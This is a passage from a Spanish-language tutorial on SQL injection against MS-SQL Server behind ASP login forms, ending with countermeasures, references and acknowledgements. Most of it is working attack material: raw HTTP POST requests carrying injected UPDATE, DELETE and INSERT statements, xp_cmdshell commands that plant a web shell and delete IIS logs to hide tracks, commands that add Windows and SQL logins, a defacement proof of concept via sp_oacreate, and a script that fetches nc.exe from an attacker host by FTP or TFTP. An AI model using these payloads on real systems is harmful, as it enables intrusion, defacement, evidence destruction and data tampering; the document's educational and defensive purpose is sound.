txtUsuario=%27%3Bupdate+usuarios+set+pws%3D%27NuevoPass%2
7+where+uid%3D%27Carla%27--&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: 'update usuarios set pws='NuevoPass' where uid='Carla'--

DELETE

Sencillamente, haciendo algunas modificaciones al POST anterior, lograremos inyectar una cadena que elimine por completo (Aunque esto depende de la forma en la que se encuentre seteado el SQL Server) un registro dado.

Valor Inyectado: `'delete from usuarios where UID='Usuario'--`

INSERT

Que decir de una sentencia de INSERT, bueno... lo cierto es que en circunstancias como la del ejemplo, carece un poco de sentido puesto que el atacante conoce, producto de los pasos anteriores, unos cuantos valores relativos a credenciales de inicio de sesión lo que ya le ha otorgado acceso al sitio como un usuario normal. Por otro lado, en casos donde la enumeración de la tabla utilizada en el login, haya arrojado como resultado, una gran cantidad de campos (Como en este ejemplo... cerca de 70!!!) realmente se terminaría escribiendo una sentencia tan larga que haría que el atacante desista rápidamente de utilizar esta técnica, en pro de aprovecharse de la potencialidad de los store procedures, y el grado de automatización que estos posibilitan.

Así mismo, puesto que pueden existir otros casos en donde el INSERT directo sea la solución que el atacante esta buscando, he decidido ejemplificar esta inyección, siguiendo la línea que hemos usado hasta el momento de la mano de las canalizaciones de POST vía netcat. Obviamente el éxito de esta inyección dependerá en gran medida de la información que se haya logrado en la etapa de enumeración, sobre todo respecto de los tipos de campos y si estos aceptan o no valores nulos.

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 113
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina


txtUsuario=%27%3Binsert+into+usuarios+values+%28%27MyUser
%27%2C%27MyPassword%27%29--&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: ';insert into usuarios values ('MyUser','MyPassword')--

j. Compromiso Total del Host

Hemos recorrido un largo camino hasta llegar a este punto. Pudimos comprobar como la utilización de algunas técnicas sencillas de SQL Injection suelen ser utilizadas por atacantes para comprometer nuestra descuidada infraestructura informática, ahora bien... hemos visto lo peor?? definitivamente NO... lo peor en este caso llega de la mano, precisamente de una de las funcionalidades que hace de Microsoft SQL Server una herramienta tan potente los "Extended Stored Procedures" o procedimientos extendidos.

j1.Store Procedures/Extended Store Procedures

Los procedimientos extendidos son en si, DLL's que extienden las capacidades básicas de una herramienta de consulta estructurada, transportando la misma hacia una instancia superior. Existen una serie de procedimientos almacenados extendidos, nativos de MS-SQL, los cuales brindan una funcionalidad puntual relacionada a cada uno de ellos. Al margen de estos, MS-SQL brinda la posibilidad de programar

nuestros propios extended store procedures, dotando al atacante con conocimientos al respecto, de una herramienta fundamental sobre la cual basar sus ataques.

Ahora bien... a los efectos prácticos, solo mencionaremos uno de ellos por destacarse del resto en cuanto a las serias implicancias directas que constituye su utilización en entornos empresariales: xp_cmdshell

Xp_cmdshell nos permite ejecutar comandos del sistema operativo vía SQL con "casi" total transparencia! veamos como utilizaríamos este recurso siguiendo con los ejemplos de peticiones HTTP:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=Ups%27%3BEXEC+master.dbo.xp_cmdshell%27cmd.exe
+dir+c%3A%27--&txtPassword=Angel
    |                              |
    |                              Valor que enviamos al campo
    |                              "Password:" del formulario
    |                              login.asp
    |
Valor Inyectado: Ups';EXEC master.dbo.xp_cmdshell'cmd.exe dir c:'--
```

Ok... bien... en este caso en particular esta ultima inyección no funcionara debido a que el site auditado para el ejemplo, esta corriendo bajo una cuenta distinta a SA (Motivo por el cual en principio estamos imposibilitados de utilizar xp_cmdshell). De todas formas se puede observar claramente como en otras circunstancias podríamos intercambiar la casi inofensiva cadena "dir c:" por alguna otra que nos brindase información algo mas valiosa (El set de comandos net, arp, route, netsh, etc).

A modo de ejemplo, veamos a continuación algunas de las formas en que un usuario malicioso podría aprovecharse del uso de xp_cmdshell (Gracias Neo por ahorrarme el trabajo de escribir estas líneas):

Para listar un directorio:
```
EXEC master..xp_cmdshell 'dir c:\inetpub\wwwroot\'
```

Para ver el contenido de cualquier archivo:
```
EXEC master..xp_cmdshell 'type
c:\inetpub\wwwroot\alguna_pagina.asp'
```

Para crear un shell por web:
```
EXEC master..xp_cmdshell 'copy c:\winnt\system32\cmd.exe
 c:\inetpub\wwwroot\chroot.exe'
```

Para borrar huellas:
```
EXEC master..xp_cmdshell 'DIR
c:\winnt\system32\logfiles\w3svc1\'
EXEC master..xp_cmdshell 'NET STOP "Servicio de
publicación en
 World Wide Web"'
EXEC master..xp_cmdshell 'del
c:\winnt\system32\logfiles\w3svc1\
 filelog.log'
EXEC master..xp_cmdshell 'NET START "Servicio de
publicación en
 World Wide Web"'
```

Para compartir archivos:
```
EXEC master..xp_cmdshell 'NET SHARE nombre=drive:path'
```

Para crear un usuario a nivel Windows:
```
EXEC master..xp_cmdshell 'NET USER username password'
```

Ok, hemos hablado algo entonces de los "Extended Store Procedures", pero aun no hemos mencionado ninguno de los procedimientos almacenados comunes o "No Extendidos", los cuales también brindan tanto al usuario licito como al atacante, atajos a sus necesidades. Sentencias inyectadas como:

```
'exec master..sp_addlogin MyUser, MyPass
```

pueden hacer que la seguridad de su sitio web interactivo, se desmorone rápidamente.

Tan solo a modo de referencia, le propongo detenga su atención sobre el listado que hemos ubicado a continuación, donde listamos una serie de poderosos "Store Procedures" y "Extended Store Procedures" que nunca deberían pasar desapercibidos respecto de su uso. Por supuesto esta es una lista reducida, de todas formas la ayuda en línea de MS-SQL Server le dará cuantiosa información respecto a los procedimientos almacenados y sus respectivas funciones:

sp_oacreate	sp_addlogin	xp_regdeletevalue
sp_oamethod	xp_runwebtask	xp_servicecontrol
sp_oasetproperty	xp_regread	xp_cmdshell
sp_configure	xp_regwrite	xp_dirtree
sp_addsrvrolemember	xp_regdeletekey	xp_eventlog

j2. PoC Deface

La idea de este documento, fue desde un principio, acercar a los usuarios y administradores de habla hispana los conceptos y técnicas generales detrás de SQL Injection, de una forma clara y en su idioma. Como parte de este trabajo me he tomado la libertad de incluir en esta sección, un ejemplo en donde se muestra de que forma la utilización de procedimientos almacenados puede ser utilizada por ejemplo para producir un simple "deface".

La particularidad de esta técnica es, que se realiza a través de un cliente SQL (Query analayzer o cualquier otro que soporte conexión remota a una base de datos SQL vía ODBC), lo cual presupone que el atacante dio con un sistema corriendo con SA, sobre su puerto estándar 1433, no habiendo de por medio mecanismo alguno de filtrado e paquetes. Si bien conceptualmente, sigue siendo inyección de cadenas SQL, la comodidad de un cliente remoto hacen la tarea algo mas elegante.

Bien... solo me resta comentar, que el ejemplo citado fue posteado oportunamente por Neo, uno de los integrantes de "Raregazz Security Team", a la lista de correo hackindex, en el contexto de una discusión acerca de técnicas de penetración no convencionales. Veamos algunos fragmentos de dicho correo:

```
----- Extracto ----------------------------------------

[...] La  idea  es  crear  una  pagina html o asp, si en
el sitio objetivo se encuentra activo y funciónando un
webserver [...]

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
     'c:\web-hosting\attajdid\index3.html', 1
exec @ret=sp_oamethod @f, 'writeline', NULL,
     '<HTML> <HEAD><TITLE>Hola Mundo!!!</TITLE> </HEAD>
     <BODY text=black bgColor=#000000> <CENTER> <P><B>'
exec @ret=sp_oamethod @f, 'writeline', NULL,
     '<FONT  face=Arial color=#b4b58c size=7>Vosotros
     </B>Perejil...</B></FONT></P></CENTER> <P><BR><BR>'
exec @ret=sp_oamethod @f, 'writeline', NULL, '<!--"  "--
></P>
     <P></P> <CENTER> <P><B><FONT face=Arial
color=#b4b58c size=7>'
exec @ret=sp_oamethod @f, 'writeline', NULL, 'nosotros
vuestras
     </B>WEB<B>s!!!</B></FONT></P></CENTER>
<P><BR><BR></P>'
```

```
exec @ret=sp_oamethod @f, 'writeline', NULL, '<DIV
align=center>
     <CENTER> <TABLE cellSpacing=0 cellPadding=0
width=100 border=0>'
exec @ret=sp_oamethod @f, 'writeline', NULL, '<TBODY>
     <TR>     <TD bgColor=#d20000> </TD></TR>
     <TR>     <TD align=middle bgColor=#ffff00>'

exec @ret=sp_oamethod @f, 'writeline', NULL,
     '<FONT color=#ffff00        size=1>¡ORTO!<BR>¡¡¡Va
por vosotros!!!
     </FONT></TD></TR>     <TR>     <TD '
exec @ret=sp_oamethod @f, 'writeline', NULL,
'bgColor=#d20000> 
     ;</TD></TR><!--"  "--
></TBODY></TABLE></CENTER></DIV> '
exec @ret=sp_oamethod @f, 'writeline', NULL,
'<P><BR><BR><BR><BR><BR></P>'
exec @ret=sp_oamethod @f, 'writeline', NULL, '<P
align=right>
     <FONT face="Courier New" color=#00ff00 size=5>
     lagear & runlevel</FONT></P>'
exec @ret=sp_oamethod @f, 'writeline', NULL, '<P
align=right>
     <FONT face="Courier New" color=#00ff00
size=4>Recuerdos a
     <B>N</B>9<B>Team</B></FONT>'
exec @ret=sp_oamethod @f, 'writeline', NULL, '</P> <P
align=right>
     <FONT face="Courier New" color=#00ff00 size=3>'
exec @ret=sp_oamethod @f, 'writeline', NULL, 'Donde te
podemos
     encontrar BreakICE?</FONT></P> <FONT color=black>"
</FONT>
     </BODY></HTML>'

Para subir archivos.- Creamos un archivo get.txt para
utilizar luego ftp
declare @o int, @f int, @t int, @ret int
EXECUTE sp_oacreate 'scripting.filesystemobject', @o out
EXECUTE sp_oamethod @o, 'createtextfile', @f out,
'c:\get.txt', 1
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'guest'
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'guest'
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'user
anonymous'
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'guest'
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'get
nc.exe'
EXECUTE @ret=sp_oamethod @f, 'writeline', NULL, 'quit'
EXECUTE master.xp_cmdshell 'FTP -s c:\get.txt
NUESTROHOST'

o algo mas fácil si tenemos un tftp en nuestro host
EXECUTE master.xp_cmdshell 'TFTP -i NUESTROHOST GET
  c:\mi_local_file c:\remote_file'
```

```
----- Extracto -----------------------------------------
```

Ok, como habrán notado, básicamente se trata de utilizar las funcionalidades de acceso a objetos de algunos store procedures provistos por MS-SQL Server, para crear archivos físicos que doten al atacante de la posibilidad de insertar código dentro de los mismos. En este caso, se trata de sp_oacreate y sp_oamethod quienes se encargan de crear una instancia del objeto OLE en una instancia de Microsoft SQL Server (en este ejemplo scripting.filesystemobject) y manipular los métodos necesarios para lograr el objetivo de escribir a disco.

Sintaxis:

```
sp_oacreate progid, | clsid,
   objecttoken OUTPUT
   [ , context ]
```

Sintaxis:

```
sp_oamethod objecttoken,
   methodname
   [ , returnvalue OUTPUT ]
   [ , [ @parametername = ] parameter [ OUTPUT ]
   [ ...n ] ]
```

05. SQL Injection en Otras Bases de Datos

Si bien es cierto tal como comentáramos al principio de este documento, que MS-SQL es la base de datos que mas interés despierta en los atacantes, debido inicialmente a la potencialidad que se logra a partir de su compromiso, de la misma forma es cierto, que bajo ningún punto de vista es la única susceptible de ser atacada mediante técnicas de SQL Injection.

Puesto que como lo señaláramos oportunamente la inyección SQL tiene que ver en principio con los problemas sucedidos a partir de una pobre o inexistente validación de entrada, la mayoría de las bases de datos mas utilizadas (O deberíamos decir aplicaciones?) del mercado, son en mayor o menor medida plataformas listas para recibir con diferentes niveles de riego, sentencias de SQL inyectadas.

A continuación me he permitido citar un cuadro publicado inicialmente en el site oficial de la gente de "The Open Web Application Security Project" donde se pretende enumerar sintéticamente algunos de los problemas relacionados con SQL Injection y las bases de datos mas populares:

- MySQL

Soporta 'INTO OUTFILE'.
Corre como "root".
La mayoría de los módulos y librerías no soportan múltiples sentencias.

- Oracle
Subselects posibles.
UNION posible.
Viene con muchos procedimientos almacenados (utf_file!).
No se permiten múltiples sentencias.

- DB2
Subselects posibles.
UNION posible.
Procedimientos Almacenados.
No se permiten múltiples sentencias.

- Postgres
Soporta COPY (En superusermode)
Subselects posibles.
UNION posible.
Procedimientos Almacenados.
Múltiples sentencias son posibles!.

- MS SQL
Subselects posibles.
UNION posible.
Procedimientos Almacenados.
Múltiples sentencias son posibles!.
Muchos poderosos store procedures instalados por defecto
(xp_cmdshell, sp_adduser)

06. Contramedidas

Fue un largo camino, pero vamos llegando al final. La idea en este punto es tan solo enumerar aquellos puntos a tener en cuenta a los efectos de minimizar el riesgo informático, respecto tanto a las vulnerabilidades conocidas en MS-SQL como las técnicas de Injection descriptas.

Como es de esperar, en esta lista encontrara, tanto contramedidas puntuales como algunas generales, sin las cuales es imposible concebir un ambiente de computo seguro.

- ✓ Manténgase actualizado al ultimo nivel de Service Pack tanto del sistema operativo como de las aplicaciones que esta sirviendo.
- ✓ Manténgase actualizado con los últimos parches tanto del sistema operativo como de las aplicaciones que esta sirviendo.
- ✓ Proteja físicamente sus servidores de base de datos.
- ✓ Establezca un Perímetro Controlado utilizando Firewalls vía Hardware o Software filtrando el acceso desde el exterior a los puertos críticos. Esto incluye puertos TCP 1433 y UDP 1434).
- ✓ No instale servicios web en el mismo server de la base de datos.
- ✓ No desatienda su perímetro interno, respecto a la conectividad de SQL server con el resto de su red interna.

- ✓ Piense su estrategia de seguridad en forma general (De nada sirve un host de base de datos sumamente segurizado, conectado a una workstation pobremente configurada)
- ✓ Verifique cual nivel de autenticación es el adecuado en su entorno respecto de su instalación de MS-SQL Server.
- ✓ Establezca los privilegios adecuados, sobre todo a las cuentas que planea utilizar en sus aplicaciones de desarrollo interno.
- ✓ Establezca directivas de seguridad a nivel host para defensa en profundidad (Haciendo uso de plantillas de seguridad built-in o de terceras partes o en su defecto utilizando ipsecpol del kit de recursos de w2k)
- ✓ Establezca una password fuerte para la cuenta SA.
- ✓ Si usted realmente requiere seguridad, piense seriamente en implementar las funcionalidades de registro de actividad de MS-SQL en nivel C2.
- ✓ Nunca deje librado a la base de datos la validación de entrada de sus aplicaciones. Utilice los recursos de programación a su alcance para realizar esta tarea en el origen de la toma de datos. Valide cada variable de usuario pasada a la base de datos. Cheque si los tipos de datos entrantes son los esperados. "Quote" las entradas antes de que estas lleguen a la base de datos.

07. Consideraciones Finales

MS-SQL Server es una herramienta sumamente potente, y sus bondades técnicas y operativas muchas veces pagan con creces algunas de sus falencias respecto de su seguridad, aunque a medida que las bases de datos se distribuyen y su utilización se liga cada vez mas a entornos de computo en Internet se hace mas notorio el trabajo a dispensar en la resolución de asuntos relativos a su seguridad.

Como consideración final, mi opinión personal es que al margen de los inconvenientes puntuales de este aplicativo, existen criterios básicos respecto de la seguridad y administración de sistemas que aun hoy día suelen no cumplirse en su nivel mas básico, posibilitando la explotación con éxito de esta y otras tantas técnicas de Hacking sobre MS-SQL Server.

En resumen... en entornos de computo medianamente seguros, donde usted ha dedicado parte de su tiempo y esfuerzo en poner a punto sus Firewalls perimetrales, aplicado los parches y Services Packs al día, configurando su sistema operativo de acuerdo a las buenas practicas, consiguiendo defensa en profundidad a partir de directivas de seguridad de Windows 2000, deshabilitando los servicios innecesarios, desarrollando sus aplicaciones web con "metodologías abiertas de programación segura" y otras tantas tareas propias de un buen administrador de seguridad, no debería verse a SQL Injection como algo difícil de manejar.

Sobre el final entonces de este documento, déjeme transmitirle mi visión respecto al futuro del Hacking en plataformas Windows 2000. En mi modesta opinión, los usuarios finales, administradores de sistemas y consultores en seguridad informática deberíamos centrar gran parte de nuestra atención en las modalidades de intrusión a partir de vulnerabilidades en aplicativos (Tal es el caso de MS-SQL). Esto tiende a cambiar un poco las cosas respecto de lo que hasta hace algunos años significaba segurizar un SISTEMA Windows.

Con el advenimiento de Windows 2000/2003, y las muchas posibilidades que estos productos nos brindan como herramientas a la hora de planear su seguridad (Actualizaciones Automáticas, Directivas de Seguridad, EFS, etc) así como también el LENTO camino emprendido por Microsoft respecto de lanzar sus productos cerrados por default, es de esperar que el siguiente campo de batalla este centrado en aplicaciones como: MS-IIS, MS-SQL, Sistemas ERP, desarrollos web utilizados como front end, clientes de Internet en general, y cualquier otra aplicación montada SOBRE el sistema operativo.

Ahora si... espero que haya disfrutado de la lectura de este documento y que por sobre todas las cosas su contenido haya servido a su propósito inicial, transmitirle a la comunidad hispana acerca de la potencialidad de este tipo de técnicas. A modo de continuar con su investigación personal respecto a técnicas de SQL Injection, le invito a que revise la sección de "Referencias y Lecturas Complementarias" donde encontrara una serie de documentos que lo transportaran al próximo nivel de conocimiento.

Saludos a todos, y hasta nuestro próximo encuentro.

Hernán Marcelo Racciatti
Alias "Angel Protector"

mailto:paper@hernanracciatti.com.ar
http://www.hernanracciatti.com.ar

08.Referencias y Lecturas Complementarias

Book: "Hacking Exposed: Windows 2000" (ISBN 84-481-3398-6)
http://es.wikipedia.org/wiki/Historia_de_Windows
http://www.htmlpoint.com/sql/sql_04.htm
http://www.sqlsecurity.com
http://www.microsoft.com/sql/evaluation/anniversary/timeline.asp
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.appsecinc.com/presentations/
Manipulating_SQL_Server_Using_SQL_Injection.pdf
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
http://www.nextgenss.com/papers/tp-SQL2000.pdf
http://www.nextgenss.com/papers/cracking-sql-passwords.pdf
http://www.nextgenss.com/papers/violating_database_security.pdf
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.owasp.org/asac/input_validation/sql.shtml

09.Tools

http://www.httrack.com/index.php
http://packetstormsecurity.net/filedesc/mieliekoek.pl.html
http://packetstormsecurity.org/Crackers/Sqlbf.zip

http://packetstormsecurity.org/NT/scanners/Sqlpoke.zip
http://packetstormsecurity.org/Win/sqldict.exe
http://packetstormsecurity.org/Win/sqlping.zip
http://packetstormsecurity.dyn.org/web/Achilles-0-16-b.zip
http://curl.haxx.se/download.html
http://www.appsecinc.com/resources/freetools/
http://www.editplus.com/
http://www.atstake.com/research/tools/network_útilities/
http://www.eeye.com/html/Research/Tools/

10.Frases Celebres

-No utilizar DROP a menos que sea necesario by Neo
-Rompimos algo?? by Angel
-Con CURL hago eso mismo en la mitad del tiempo :) by Runlevel
-Y de esa forma podes obtener un listado de mails de
chicas bonitas? by Alguien de por Aquí

11.Agradecimientos

Uff... esta fue una tarea larga, por ende paso mucho tiempo desde aquellos primeros días donde fascinados veíamos comillas simples hasta en nuestro almuerzo. Mi agradecimiento va en principio para Raregazz Security Team, por la paciencia respecto de la entrega de este "demorado" texto. Ni hablar de aquellos afectos que me rodean día a día, y que han sabido callar en los momentos adecuados, de la misma forma que han aguantado mis noches releyendo aquellos textos básicos sin los cuales nada de esto hubiera sido posible.

En segundo lugar, agradezco eternamente las sucesivas charlas con dos de mis compañeros de team Neo y Runlevel que se esforzaron a su manera para discutir lo suficiente conmigo como para que los conceptos esbozados en este documento sean lo suficientemente claros.

También me gustaría mencionar la ayuda de HS quien desde sus conocimientos tradicionales de MS-SQL, ha aportado en algunas circunstancias su granito de arena.

Gracias a aquellos que a través de sus documentos nos ilustraron en tiempo y forma en cuestiones relacionados con SQL Injection (Especialmente a la gente de “Next Generation Security Software Ltd” por sus documentos únicos!).

Por ultimo, gracias a todos aquellos amigos de esta hermosa comunidad de entusiastas de la seguridad informática, por existir en mi pequeño mundo.

Hernán Marcelo Racciatti
Alias "Angel Protector"

mailto:paper@hernanracciatti.com.ar
http://www.hernanracciatti.com.ar